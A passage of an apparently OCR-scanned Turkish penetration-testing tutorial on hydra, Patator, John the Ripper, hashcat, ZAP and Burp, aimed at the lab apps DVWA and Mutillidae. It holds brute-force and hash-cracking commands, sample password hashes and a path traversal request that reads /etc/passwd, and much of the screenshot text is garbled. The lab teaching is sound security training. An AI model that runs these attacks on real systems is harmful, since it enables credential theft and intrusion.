“/dvwa/login.php:username=AUSER"&password="PASS"&Login=Login:Login failed" -V

-l kullanici adi

-P Sifre dosyasi

http-post-form servis-protokol adi

Login:Login failed datasi oturum acamadigimizda aldigimiz hata.

Bu testimizi ayrica xhydra ile grafik arayiz ile de yapabiliriz.

Target | Passwords | Tuning | Specific | Start Target | Passwords | Tuning | Specific | Start
Targekt Username
@ single Target 192.168.152.135 l @ Username admin ]
) Target List Username List
- [] Loop around users [] Protocol does notrequire usernames
[] Prefer IPV6
Password
Pork 0 = ) Password yourpass

Protocol l http-post-Fform - l @ Password List \ bot/wWordlists/john.txt |

Outpuk Options _) Generate 1:1:a

[] Use SSL [] Useold SSL & |Be Verbose Colon separated file

. - [[] Use Colon separated file
[] show Attempts [] Debug

[] COMPLETE HELP [] service Module Usage Details [] Try login as password [_] Tryempty password [_] Try reversed login

hydra -v -l admin -p yourpass -t 16 -m ffoo/bar/protected.html 192.168.1...




Target | Passwords | Tuning | Specific | Start Target | Passwords | Tuning | Specific | Start
ht[pfplo)(y U[l/ h[tp’prox}’"u[lenum (l’edential module VERDWUOL] FAayE TEUNTELLEU LU TTLLRLff TFL TUS. 124 1323/ UuVwWd/ WYL prip
VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
WWwW.suse.com VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
http / https url VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
\gin.php:username=~USER"&password="PASS~&Login=Login:Login failed VERBOSE] Page red!rected to http://192.168.152.135/dea/log!n.php
VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
VERBOSE] Page redirected to http://192.168.152.135/dvwa/index.php

T e  J N PR

password WVERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
LDAP DN VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php

VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
dn-scope VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
SMB VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php

[ local accounts [ domain accounts [ Interpret passes as NTLM hashes | [[VERBOSE] Page red!rected to http://192.168.152.135/dea[log!n.php
3 clientid VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
sapr

VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php

1 - | |IVERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
CVS/SVN Repository aD][httn-nnst-Furn!] host: 192.168.152.135 loain: admin n.asswnrd: Di
trunk VERBOSE]| Page redirected to http://192.168.152.135/dvwa/login.php

run

VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
Telnet - Successful Login String VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
SNMP VERROSE] Pane redirected tn httnt//192 168.152.135/dvwa/loain.ohp

3:SHA:AES:READ | start| Stop Save Output

Clear Output
hydra -v -l admin -P /root/Wordlists/john.txt -t 16 -m /dvwa/login.php:u... 2] [hydra-v{admin P froot/Wordlists/john.txt -t 16 -m /dvwa/login.php:u...

Grafik arayiiz ile de kullanici adi admin, sifre password olarak buldu.

Patator:

Patator araci bir kaba kuvvet saldiri aracidir. Asagidaki protokollere kaba kuvvet saldirisi
gerceklestirebilir.
+ ftp_login : Brute-force FTP
+ ssh_login : Brute-force SSH
+ telnet_login : Brute-force Telnet
+smtp_login : Brute-force SMTP
+ smtp_vrfy : Enumerate valid users using SMTP VRFY
+ smtp_rcpt : Enumerate valid users using SMTP RCPT TO

+ finger_lookup : Enumerate valid users using Finger

+ http_fuzz : Brute-force HTTP
+ pop_login : Brute-force POP3
+ pop_passd : Brute-force poppassd (http://netwinsite.com/poppassd/)

+imap_login : Brute-force IMAP4

+ldap_login
+smb_login
+smb_lookupsid
+vmauthd_login
+ mssql_login

+ oracle_login

+ mysql_login

: Brute-force LDAP

: Brute-force SMB

: Brute-force SMB SID-lookup
: Brute-force VMware Authentication Daemon
: Brute-force MSSQL
: Brute-force Oracle

: Brute-force MySQL



+ mysql_query : Brute-force MySQL queries

+ pgsql_login : Brute-force PostgreSQL

+vnc_login : Brute-force VNC

+ dns_forward : Forward lookup names

+dns_reverse : Reverse lookup subnets

+snmp_login : Brute-force SNMP v1/2/3

+ unzip_pass : Brute-force the password of encrypted ZIP files
+ keystore_pass : Brute-force the password of Java keystore files
+tcp_fuzz : Fuzz TCP services

./patator <kullanilacak protokol> <protokol parametreleri>
Ornek:
Hedef domainin pop3 protokoliine kaba kuvvet saldirisi yapalim.

patator pop_login komutuyla hangi parametreler gerekli onu gérelim.

root@kali:~# patator pop_login
Patator v0.6 (http://code.google.com/p/patator/)
Usage: pop login <module-options ...> [global-options ...]

Examples:
pop login host=10.0.0.1 user=FILE® password=FILE1l ©=logins.txt l=passwords.txt -x ignore:code=-ERR

Module options:

host : target host

port : target port [110]

user : usernames to test

password : passwords to test

ssl : use SS5L [0]1]

timeout : seconds to wait for a response [10]
persistent : use persistent connections [1]0]

Host bilgisi, user ve password bilgisini girmemiz yeterli. Ornekte de gosterildigi gibi kullanici adi ve
sifre bilgilerini dosya olarak da verebiliriz.

patator pop_login host=hedefdomainip user=FILEO password=FILE1 0=/root/user.txt
1=/root/password.txt komutuyla saldiri gerceklestirilir

Diger protokoller icin de durum ayni sekilde konfigiire edebilirsiniz.



Johntheripper

Sistemde tutulan parolalarin giivenligi icin, gesitli algoritmalar yardimiyla harf, rakam ve karakterler
kullanilarak parolanin taninmayacak, karmasik ve anlasiimaz hale getirilir. Parolanin bu karmasik ve
anlasilmaz degerine hash denir. Johntheripper bu anlasilmaz degeri yine algoritmalar yardimiyla
¢6zmeye yarayan, sifre kirma aracidir.

Johntheripper bir ¢cok hash tiplerini ¢ozme yetenegi vardir. Bunlardan bir kagi, NTLM, Kerberos, SHA-
1, SHA-256, SHA-512, DES, MD5 vs.)

Elde edilen bir parola 6zetini dncelikle tanimaya galisalim.
sdrusr:$6S5f.f3pRDQu/3.up0S/YBNPkMfzcKkPFqu2j9Hglr.gpGmP9RwagMyT74U2Ah4pMZkeM1zq

Bu parola linux makinadan alinmis bir parola. Linux de bulunan /etc/shadow dosyasindan elde
edilmistir.

sdruser: kullanici adini tanimlar

ilk iki $ isaretinin arasindaki sayi hangi hash algoritassinin kullanildigini belirtir.

Bu sayi 1 ise MD5, 5 ise SHA-256, 6 ise SHA-512 ‘yi gOsterir.

Sonraki $’a kadar olan deger salt degeridir. $’dan sonraki deger ise sifre degerini gdsterir.
Simdi bir de John aracini nasil kullanilacagina bakalim.

Kullanimi john [OPTIONS] [PASSWORD-FILES] sekilindedir.

Seceneklerin ne olduguna bakalim:

Mode secenegi:

--single : single crack mod. Bu mod kullanirken john 6nce kullanici adi ile iliskili denemeleri yapar,
kullanici adinin kendisi, tersi, sistem bilgisi, uygulama bilgisi, telefon bilgisi vs bilgileri kullanarak
bulmaya calisir.

--wordlist[=FILE] : bir s6zlik yardimiyla denemeleri yapar.
--incremental : rastgele karmasik degerler UGreterek sifre denemesi yapar.

Herhangi bir mod secenegi belirtmezseniz, sirayla single, kendisinde bulunan wordlistlerle,sonra da
incremental olarak denemeler yapar.

--format=NAME : bu secenek sayet elinizde bulunan sifrenin hash tipini biliyorsaniz kullanmaniz,
john’nin sifreyi tahmin etmesini oldukga hizlandiracaktir. Bu secenegi kullanmazsaniz tiim hash tiplerini
tek tek denemeye calisacaktir.

--show : secenegi sonucu ekrana verecektir. Bu secenegi yazmaz iseniz John buldugu sifreleri
./root/.john/john.pot dosyasina yazacaktir.

Simdi 6rneklerle detaylandiralim.

John sifre.txt /*sifre dosyasindaki hash degeri icin tim secenekleri kullanarak bulmaya
calisir. Sonucu john.pot dosyasina yazar

john --show sifre.txt ~ /*sonucu ekrana basar

john --single sifre.txt



john --wordlist=password.lIst sifre.txt

john —incremental sifre.txt

john --format=raw-md5 sifre.txt —show

windows hash érnekleri:

LM Hash 6rnegi:

Sifre.txt dosyasindaki hashler
admin:1011:5DF12C9F2162249EAAD3B435B51404EE:099C037B843FDCA6489B03635E87EAT6:::
user1:1008:4E1FBOBDD16A8F51AAD3B435B51404EE:FDC342B83B8A552C742B013ESA1BCA99:::
Sifreleri ¢ozebilmek icin ./john --format=Im sifre.txt komutunu kullanmamiz yeterli

NTLM Hash Ornegi:

Sifre.txt dosyasindaki NTLM hashler
admin:SNTSaebd4de384c7ec43aad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f
user:SNT$78bccaee08c90e29aad3b435b51404ee:f9e37e83b83c47a93¢c2f09f66408631b

./john --format=nt sifre.txt komutunu kullanmak yeterli. Sayet wordlist ile deneyecek iseniz;
./john --format=nt —wordlist=mywordlist.Is sifre.txt

MDS5 hash 6rnegi: $1$03IMY.Tw$AdLNLjQ/5jXF9.MTp3gHv/

SHA-256: $5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHIhdP.Os80yXhTurpBMUbAS

SHA-512:
$6$zWwwXKNj$gLAOOZCjcr8p/.VgV/FKGC3NX7BsXys3KHYePfuIGMN;Y83dVxugPYIxVg/evpcVE
ILT/rSwZcDMIVVF/bhf. 1

Hashcat:
Bir diger sifre hash kirma araci hashcat aracidir.

Kullanimi:

Usage: hashcat [options]... hash|hashfile | hccapfile [dictionary | mask| directory]...
Hashcat —help ile tim secenekleri gorebiliriz.

Biz en sik kullanilan secenekleri tanimlayalim.

-m : Hash tipi #Hash tipini biliyorsak bu parametreyi kullanabiliriz. Hash tiplerini
asagida tanimlayacagiz.

-a : Saldir modu (attack mod) # Saldiri modlarini asagida tanimlayacagiz
-0: ¢ikti dosyasi

Hash modu:

0: MD5

100: SHA1



1440: SHA-256

1700: SHA-512

20 : md5(Ssalt.Spass)

120 : shal(Ssalt.Spass)
1420 : sha256(Ssalt.Spass)
1720 : sha512(Ssalt.Spass)
2500 : WPA/WPA2

12 : PostgreSQL

132 : MSSQL(2005)

1731 :MSSQL(2012)

300 : MySQL4.1/MySQL5
3000 | LM

1000 : NTLM

Karakter seti:

?l = abcdefghijklmnopgrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ

?d = 0123456789

?s = «space»!"#$%&'()*+,-./:;<=>?@[\]"_"{|}~
?a = ?1?u?d?s

?b = 0x00 - Oxff

Saldiri Modu (Attack Mod)

0 : Straight #S06zIUk atagl
1: Combinator #dosyanin icindeki kelimeleri kombine eder
3 : Brute-force # Kaba kuvvet Saldirisi

6 :Hybrid Wordlist + Mask # Sozliik ve kaba kuvvet saldirisini birlestirir
7 : Hybrid Mask + Wordlist #Kaba kuvvet ve sozllk birlestirir.

Cikti formati:

2 : plain (acik hali)

3 : hash[:salt]:plain

Ornekler:

Hashcat -m 0 -a 0 hash.txt dict.txt # MDS5 olan hash’i sozliik saldirisiyla ¢ozmeye ¢alisiyoruz.



Hashcat -m 100 -a 1 hash.txt comb.txt #SHA1 hashi olan sifreyi Comb.txt dosyasindanki tim
kelimeleri birbirine kombine ederek ¢6zmeye ¢alisacak.

Comb.txt dosyasinin icerigi asagidaki gibi 4 kelime olsun.
pass

12345

omg

Test
Denemesi asagidaki gibi olacaktir.
passpass
pass12345
passomg
passTest
12345pass
1234512345
123450mg
12345Test
omgpass
omgl12345
omgomg
omgTest
Testpass
Test12345
Testomg

TestTest

Hashcat -m 1000 -a 3 hash.txt ?u?I?1?1?1?d?d?s # NTLM olan hashi 8 karakterli, Buyik harf, 5 klictik
harf, 2 rakam ve 1 6zel karakter olacak sekilde kaba
kuvvet saldirisi yaparak ¢cozemeye calisacak.

Hashcat -m 1000 -a 6 hash.txt dict.txt ?d?d?d?d -o sonuc.txt #NTLM hashi dict.txt ve 4 basamakl
rakamlarla hibrit olarak saldiracak ve ¢iktisini
sonuc.txt dosyasina yazacak.

dict.txt dosyasinin icerigi asagidaki gibi olsun.

password



hello
yapacagl denemeler asagidaki gibi olur.
password0000

password0001

password9999
hello0000

hello0001

hello9999



Zaproxy:

Zed Attack Proxy (ZAP), Web sizma testlerinde kullanilan ve web uygulama gilivenligi hakkinda ¢ok fazla
bilginiz olmasa dahi rahatlikla 6grenip kullanabileceginiz acik kaynak, ticretsiz glicll bir aractir.
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File Edit View Analyse Report Tools Online Help

(StandardmMode ) || Sl e F i O AE DEE8 BDEE 47 P Pk ERE © |

@ sites | 4

j 7 Quick Start rT =» Reguest T Responsed e

@UEE

v ﬁ Contexts
Default Context

@ sites

A
=~
Welcome to the OWASP Zed Attack Proxy (ZAP)
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
Please be aware that you should only attack applications that you have been specifically been given permission to test.

To quickly test an application, enter its URL below and press 'Attack’,

URL to attack: httpuf @ select...
4 Attack M stop
o
v

Progress: Mot started

< J T

J (=) H\smryT |, Search T U alerts T || Output | 4=

@ @ | Filter:OFF

Id | Req. Timestamp | Method | URL

| Code | Reason | RTT | Size Resp. Body | Highest Alert | Note | Tags =]

ko
v

Alerts 0 (W0 (WD WO

Current Scans 400 £0 20 @0 #o 0 Ho

Zaproxy aracinl browser ile web sunucu arasina girmek icin kullanabilir veya hedef sectiginiz web
sunucusundaki i¢-dis linkleri, sunucu bilgileri ve zaafiyetleri tespit etmek amaciyla da kullabilirsiniz.

Proxy olarak kullanmak i¢in browser’inizin proxy ayarlarinda adres olarak localhost ve port olarak 8080

yazmaniz yeterli olacaktir.
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ZAP, ssl sertifikall web uygulamasiile browser arasinda proxy olarak kullanildiginda ssl dogrulamasinda
hata olacagindan baglanti kopacaktir. Bunu asmak icin zap uygulamasinda bulunan CA’dan Uretilen
sertifika export edilip browser’in giivenlir kok sertifikalarina eklemek gerekecektir.

Zap uygulamasinda tools>options adimindan “Dynamic SSL Certificates” se¢eneginden sertifikayi
kaydediyoruz.
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Kaydettigimiz sertifikayl mozilla firefox da Preferences> Advanced> Certificates> View Certificates
adimindan import ediyoruz.
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ZAP proxy ile 192.158.152.135 web uygulamasina gitmeye calisalim. Browser da proxy ayarini
yaptiktan sonra ZAP uygulamamiza gidiyoruz.

Oncelikle modumuzu ATTACK Mode’a aliyoruz. Daha sonra Set Break diyerek araya giriyoruz. istek ZAP
uygulamasinda bizden aksiyon almamizi bekliyor. Submit and continoue next break point diyerek bir
sonraki istege gegiyoruz.

€ 192.168.152.135/
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Accept-Lanquage: en-US,en;q=0.5

Cookle: PHPSESSID=57bBfc675fe7e079a5f877236b0c0e23

Connection: keep-alive

Upgrade-Tnsecure-Requests: 1
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@ @ ' Filter:OFF
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DVWA sayfasinda kullanici adi ve sifre girerek istegin ZAP’a gelmesini gériyoruz.

(* Connecting... x

€ ) © P 192.168.152.135/dvwa/login.php % |[Q search

D\WA)

Username
admin
Password

Login
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'ﬁiﬂﬂtem POST http://192,168.152.135/dvwa/login.php HTTP/1.1 4
&) pefault Context Host: 192,168.152.135 T

» @ P Sites User-Agent: Mozillas/S.0 (¥11; Ubuntu; Linux x86_64; rv:58.0) Gecko/28100101 Firefox/S0.@
Accept: text/htnl,application /xhtnl+xnl,application/xnl;q=0.9,%/#*;q=0.8
Accept-Language: en-US,en;g=0.5
Referer: http://192,168.152.135/dvwa/login.php
Cookie: security=high; PHPSESSID=7cbShlb25464a97bc2d18c747f6974cd
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
tant | a1

CLENN

username=admintpassword=adminLogin=Login |

istedigin ZAP proxy de degisiklik yapilabilir oldugunu gérebiliyoruz. istedigimiz alanda degisiklik yapip
sunucuya gonderebiliriz.



Sayet bunu kaba kuvvet saldirisi olarak gergeklestirmek istersek, degiskenimizi ¢ift tiklayip segiyoruz.
Ornegimizde admin password’iimiizii sectik. Sag tiklayip fuzzer deyip payloads’a tikliyoruz. Add deyip
type olarak file secip wordlist’imizin yerini segip wordlist’imizi ekliyoruz.

» Connecting M +
€ P 192168152135 X | |Q se *“B + A0
_ Y Lok n: |(@ root o (@] (@) (&) [E e
& soder.session.tmp [ soder.session.log
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Password Files of Type: | Any File

""" open. | | Cancel
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usernane-adein M\vou,oqln—l ogin Um: (]
value:
o Comment Taken: #

Ignore Empty Lines: ||

Wordlist'imizi ekledikten sonra fuzzer’i baslatiyoruz. Basarili olup olmadigini size resp. Body den
anlayabiliyoruz. Password payload’u icin size respnse body ‘nin degerinin en yiksek deger oldugunu

ey

ayrica Response tab’inda da oturum acabildigimizi gérebiliyoruz.

'Damn Vulnerable web... %

€ @/ 192.168.152.135/dv e | |Q s
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» @ Msites Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntus.10
Praoma. _nn-cache v
</div=> A

</div=

<div id="main_body">

<div class="body_padded"=

<hl=Welcome to Damn Vulnerable Web App!</hl>

<p=Dann Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn wulnerable. Its
main qgoals are to be an aid for security professionals to test their skills and tools in a legal
environment, help web developers better understand the processes of securing web applications and aid
teachers/students to teach/learn web application security in a class room environment.</p>

h2= WARNTNG! </h7s

[ = H\stnryT% Search T ¥ alerts T | output TG Fuzer # # m
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Messages Sent: 65 Errors: 0 ,:E) Show Errors
TaskID | Message Type | Code | Reason | RTT | Size Resp. Header | Size Re dy ¥ ||Highest alert | State

4,

12 Fuzed 200 0K 295 ms 347 bytes 1,45 KiB meney
4 Fuzed 200 OK 192ms 347 bytes 1.43KiB computer
6 Fuzed 200 QK 339 ms 347 bytes 1.41 KiB tigger
19 Fuzed 200 OK 239ms 347 bytes 1.41 KiB service
53 Fuzed 200 QK 276 ms 325 bytes 1.41 KiB trustnol

34 Fuzed 200 OK 295 ms 347 bytes 1.37 KiB buster




ZAP’In diger gli¢lt yani ise web uygulamasina dogrudan glivenlik analizi yapabiliyor olmak. Quick start
tab’inda Url to attack alanina analizini yapmak istedigimiz adresi veya IP’yi yaziyoruz ve Attack
butonuna tikliyoruz.
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URL to attack |http:/192.168,152.135 @ sela
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Progress: Actively scanning (attacking) the URLs discovered by the spider

For @ more in depth test you should explore your application using your browser or automated regression tests wh

See the help file for more details

- T T
1 History | “4 Search | [ alerts | | output | & Active Scan | &85 spider & = || - |

i New Scan  Progress: | O: http://182.168,152.135 | = Il 160% <# Current Scans: 0 URIs Foundi 5682 [ | Show Messages 6k
Processed | Methad | uRI | Flags =)

[ GET REtpi /192,168,152, 135/Awiki/bin/edit/Main/ZAFTt=1483301538 -

- GET hitpi/192.168,152,135/phpMyAdminfthemes/darkblue_orange/e.

— GET httpi/192.168.152 135/phpMyadminthemas/darkblus_orangs/c...

- GET http /192,168,152, 135/phpMyadminfthemaes/darkblues_orange/c

- GET http /182,168,152, 135/phpMyadminfthemes/darkblue_orange/c. ..

- GET hitp:/192.168,152,135/phpMyAdminthemesdarkblue_orangefi..

- GET httpi/192.168.152 135/phpMyadminthemassdarkblus_orangs/...

- GET http /192,168,152, 1 35/phpMyadminfthemaes/darkblue_orange/i

= GET httpi//192.168.152.135/phpMyadminfthemes/darkblus_orange/i... v
Alerts Pl 2 jus mo Current Scans 4w 2 0 » 3 @O0 W0 , 0 o

Tarama bittikten sonra alerts’lerimize bakiyoruz.

5 History | © search [ [ alerts # | | output | A Active Scan | % spider | 4
@ @ Path Traversal N
v & Alerts (8) URL: http://192.168,152.135/mutilidae/?page=%2Fetc%2Fpasswd N
¥ (&5 M Path Traversal (10) Risk: # High
g g Confidence: Medium
E GET: http://192.168.152.135/mutillidaefindex. php?choice=nmap&initials=ZAP&page Farameter: page
[ GET: http:/192.168.152.135/mutilidaefindex php?do=toggle-hints&page=%2F stcse] Attack: fete/passwd
[ GET: http:/192.168.152.135/mutilidae/index php?forwardurl=https 3% 2F% 2Fwww. | | =Vidence: raat::0:0
[ GET: http://192.168.152.135/mutillidaefindex. php?page=%2Fetc%2Fpasswd Sxich‘D :;
& GET: http://192.168.152.135/mutillidaefindex php?page=%2Fetc% 2Fpasswd&passwi DESCI’\p‘tIUI’]:
[ GET: http://192.168.152.135/mutillidaefindex php?page=%2Fetc% 2Fp. déuserns
[ POST: http:/192.168.152.135/mutillidae/index. php?page=source-viewer.php =
E POST: http:#192.168.152.135/mutillidae/index.php?page=sourcewviewer.php L M L = L t tory. [
[ POST: http://192,168.152.135/mutlllidae/index, phppage=text file-viewer. php attacker may mampu\?te a uR\: in su:h a wayfhat th7e wsb EItE WIH exscute ar revea\ v
» [E3 P Application Error Disclosure (298)
» [ P X-Frame-Options Header Not Set (4675) Ctuenlnfo:
» [ v Cookie No HttpOnly Flag (155)
» [E§ v Password Autocomplete in Browser (130)
» [ 7 Private IP Disclosure (4660)
> ﬁHJWeb Browser XSS Protection Not Enabled (4595)
» (B Fu X-Content-Type-Options Header Missing (4692) Solution:
Assume all input is malicious. Use an "accept known good" input validation strategy,
i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject [
any input that does not strictly cmnfmrm tm spec\ﬁcat\nms or transform it into v
Pl o L i e S e e e e e v
Alerts Pl 2 U5 PO Current Scans 42 &0 ) 3 @0 %0 0 #o|
=

8 adet alert ve en Ustte kritik alert var.

Path Traversal alertimizin tanimina bakiyoruz. Tanimdan da anlayabilecegimiz gibi web sunucudaki
dosyalara url si verilen ( http://192.168.152.135/mutillidae/?page=%2Fetc%2Fpasswd) adres
Gzerinden ilgili dosylara erisebildigimizi belirtiyor.

ilgili url’ye gitmeye calistigimizda ise linux sunucunun etc/passwd dosyasina eristigimizi goriiyoruz.

hetp://19....
€ 192.168.152.135 *“Ee ¥ &0

Fpasswd x Vg

@4« Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home  Login/Register  Toggle Hints  Toggle Security ~ Reset DB Viewlog  View Captured Data

) 1:1 i bin:x:2:; i sys:x:3:. sync:x:4:65534:sync: B
Z:man /varfcache/man: /blnlsh Ipx 7 7 Ip: /bin/sh mail:x:8:8: : :X:9: var i uucp:x:10:10:uucp: p:/bin/sh

i backup:x:34:34:backup: list:x:38: iling List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var
h libuuid:x:100:101::/var/lib/libuuid:/bin/sh

OWASP Top 10 » man

proxy: :
_ Irunhrcd lbmlsh gnats: X: 41:41:Gnats B POl ung Syslem in): i 34:655 2/
dhcp:x:101:1 syslog Klog:x:103: sshd:x:104:6553 zvar/run/sshd:/usr/sbin/nologin
m 1000" i i bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115: ftp:x:107:6553-
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql: Iblnlfalse tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false user:x:lDul:lODl just a user,111,,/home/user:/bin/bash service:x:1002:1002: 112:1

9 proftpd:x:113:65534:: p statd:x:114:65534:: snmp:x:115:65534::/var/lib/snmp:/bin/false



http://192.168.152.135/mutillidae/?page=%2Fetc%2Fpasswd

Burp:

Web uygulama testelerinde sizma testlerinde sikga kullanilan diger ara¢ Burp aracidir. Web
uygulamalarinda sizma testi uzmanlari, istemci ile sunucu arasinda gelen giden istekleri, verileri proxy
ozelligini kullanarak gormeyi isterler. Gerektiginde istemciden giden istekleri degistirerek sunucuda
farkli sonuclar elde etmek isterler. Web uygulamasinda kullaniciya gozilkmeyen, yetki atlatmaya neden
olan zaafiyetler s6z konusu ise, burp araci sayesinde bu zaafiyetlerin tespiti ve somurilmesi s6z konusu
olacaktir.

Burp aracinin sik kullanilan moddillerini gérmeye ¢alisalim.

Proxy: proxy modilii adindanda anlasilacagi gibi, istemci ile sunucu arasina girerek, gelen giden
istekleri gorlp degistirme islemi icin kullanihr.

Browser da proxy ayarlarini yaptiktan sonra, burp aracinda proxy tab’inda “intercept is on” diigmesini
tikladiginizda istekler burp aracinda goriintiilenmeye baslanacaktir.

istegi “Forward” diyerek sunucuya gonderebilir, “Drop” diyerek isteigin sunucuya gitmesini
engelleyebiliriz. “action” diyerek de baska modiillerde islem yapilmasini saglayabiliriz.

Burp Intruder Repeater Window Help

[Target T T Spider I Scanner Tlntruder T Repeater I Seqguencer T Decoder I Comparer T Extender I Project options TUser options IAIerts ]

J tercept T HTTP history TWebSockets history T Options ]

|ﬁJ Request to http:/f192.168.152.135:80
| Forward J | Drop J ( Intercept is on | | Action
Raw | Headers | Hex

GET / HITR/1.1

Host: 192.168.152.135

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
leccept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Bccept-Language: en-US,en;q=0.5

Connection: close

Upgrade-Insecure-Requests: 1

“Http history” tab’iyla web uygulamasindaki gezinme tarihgesini gérintileyebilirsiniz. Olusan
PHPSESSID ve cookie bilgisini gériintileyebilirsiniz. istemcinin dil secenegi, browser bilgisini
gorintileyebilirsiniz.

Burp Intruder Repeater Window Help
[ arget [Proxy | spider | scanner [ intruder | Repeater | Sequencer | Decoder | comparer | Extender | Project options | User options | Alerts
[Intercept [ HTTP histary. | WebSackets histary | Options |
| Filters Hiding CSS, image and general binary content @
# a Host | Method | URL |Params  Edited | Status | Length | MIMEtype  Extension | Title | Comment |SsL IR | Cookies | Time
1 http f/192.168.152.135 GET ! O O 200 1086 HTML Metasploitable2 - Linux O 192168152135 15:20:012
2 http://192.168.152.135 GET ffavicon.ico 8] O 404 480 HTML ico 404 Mot Found O 192.168.152.135 15:32:30 2
3 http/192.168.152.135 GET fdvwa) O O 302 445 HTML [J 152168152135 PHPSESSID=edf.. 15:32:362
4 http //182,168,152,135 GET fdvwajlogin.php =] [J =200 1509 HTML php Darmn Vulnerable We.., [J 192.168152.135 15:32:45 2..,
< 7
Request | Response
| [ Raw | Params | Headers | Hex |
GET /dvwa/login.php HTTP/1.1 i
Host: 192.168.152.135
User-Agent: Mozilla/S.0 (X11; Ubuntu; Linux x26 64; rv:S0.0) Gecko/20100101 Firefox/S0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;g=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.152.135/
Cookie: security=high; PHPSESSID=e4f0edc23639266a789a3830b53589d9
Connection: close
Upgrade-Insecure-Requests: 1

Kullanici adi ve sifre bilgisini girildikten sonra istegin ne sekilde sunucuya gittigini gorebiliriz.



Burp Intruder Repeater Window Help

[Target TProxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TA\erts ]

[ Intercept T HTTP history T WebSockets history T Options ]

| Filter: Hiding CSS, image and general binary content

# a|Host | Method | URL | Params | Edited | Status |Length | MIME type | Extension
1 http://192.168.152.135 GET / O O 200 1086 HTML

2 http://192.168.152.135 GET favicon.ico O O 404 480 HTML ico

3 http:/192.168.152.135 GET fdvwaf )] ) 302 445 HTML

a4 http:/192.168.152.135 GET fdvwaflogin.php )] [J =200 1599 HTML php

5 http://192.168.152.135 PosT | /dvwajlogin.php | @ OJ HTML php

AN

Request

Raw | Params | Headers | Hex

POST /dvwa/login.php HTTP/1.1

Host: 192.168.152.135

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko,/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;qg=0.5

Referer: http://192.168.152.135/dvwa/login.php

Cookie: security=high; PHPSESSID=e4f0edc23639266a78%aa830b53589d9
Connection: close

Upgrade-Tnsecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 44

username=admin&password=password&Login=Login

Son olarak da sunucudan gelen yaniti goriintlleyebiliyoruz.

6 http:/192.168.152.135 GET  [/dvwafindex.php | O [J =200 4895  HTML php

AN
Raw | Headers | Hex | HTML T Render ]

HTTR/1.1 200 OK

Date: Tue, 24 Jan 2017 00:53:15 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntus. 10
Pragma: no-cache

Cache-Control: no-cache, must-revalidate
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Connection: close

Content-Type: text/html;charset=utf-g
Content-Length: 4585

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http:,-‘fw. wo“.o."g,fTijhth,-‘DTD,-‘xhth—strict.dtd":-
<html xmlns="http://www.w3.0rg/1999/xhtml"=>

<head=
<meta http-eguiv="Content-Type" content="text/html; charset=UTF-8" /=

<title=Damn Vulnerable Web App (DVWA) v1.0.7 :: Welcome=/title=

<link rel="stylesheet" type="text/css" href="dvwa/css/main.css" /=

“lainl ral—t1cant ftuna—"Vvimana i1 eat hraf—tfoudcan 4l i




Intruder: Intruder moddlQ, istemci ile sunucu arasinda yakalanan degerlerle oynayarak, sunucuda
oturum a¢ma, hak elde etmek amaciyla kullaniimaktadir.

Daha 6nce login ekraninda yakalamis oldugumuz istegi intruder’a génderelim.

Bunu yapmak i¢in Action segenegi ile “send to intruder” diyebilirsiniz, sayet Http History den gegmise
yonelik bir istegi yonlenedircek iseniz, sag tiklayip bu islemi gergeklestirebilirsiniz.

Hedef olarak, web uygulama sunucumuz, port olarak 80 portunu kullaniyoruz.

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner ]’ Intruder T Repeater T Seqguencer

[ Jaal]

JTarget T Positions I Payloads I Options ]

2

Configure the details of the target for the attack.

Host: | 192.168.152.135
Port: 80

|| Use HTTPS

Positions tab’inda degiskenler listelendi. Bu degiskenlerden hangisi ile oynamak istedigimizi
seciyoruz. Clear secenegiile tiim degiskenlerin segimlerini kaldirabilir, Add secenegi ile ekleyebiliriz.

Burp Intruder Repeater Window Help

